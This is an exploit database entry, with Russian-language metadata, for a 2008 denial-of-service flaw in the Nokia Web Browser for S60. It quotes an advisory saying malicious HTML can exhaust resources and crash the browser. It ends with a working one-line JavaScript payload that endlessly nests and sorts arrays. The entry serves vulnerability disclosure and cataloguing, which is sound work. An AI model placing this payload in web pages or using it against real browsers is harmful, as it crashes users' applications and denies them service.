Exploit Nokia Web Browser for S60 - Infinite Array Sort Denial of Service

[Exploiter]

EDB-ID

32472

Проверка EDB

1. Пройдено

Автор

LUCA CARETTONI

Тип уязвимости

DOS

Платформа

HARDWARE

CVE

N/A

Дата публикации

2008-10-10

source: https://www.securityfocus.com/bid/31703/info

Nokia Web Browser for S60 is prone to a denial-of-service vulnerability when handling malicious HTML files.

A successful exploit of this issue allows remote attackers to consume excessive system resources in the affected browser, which will cause the application to crash and deny service to legitimate users. Attackers may also be able to run arbitrary code, but this has not been confirmed. 

<script> foo = new Array(); while(true) {foo = new Array(foo).sort();} </script>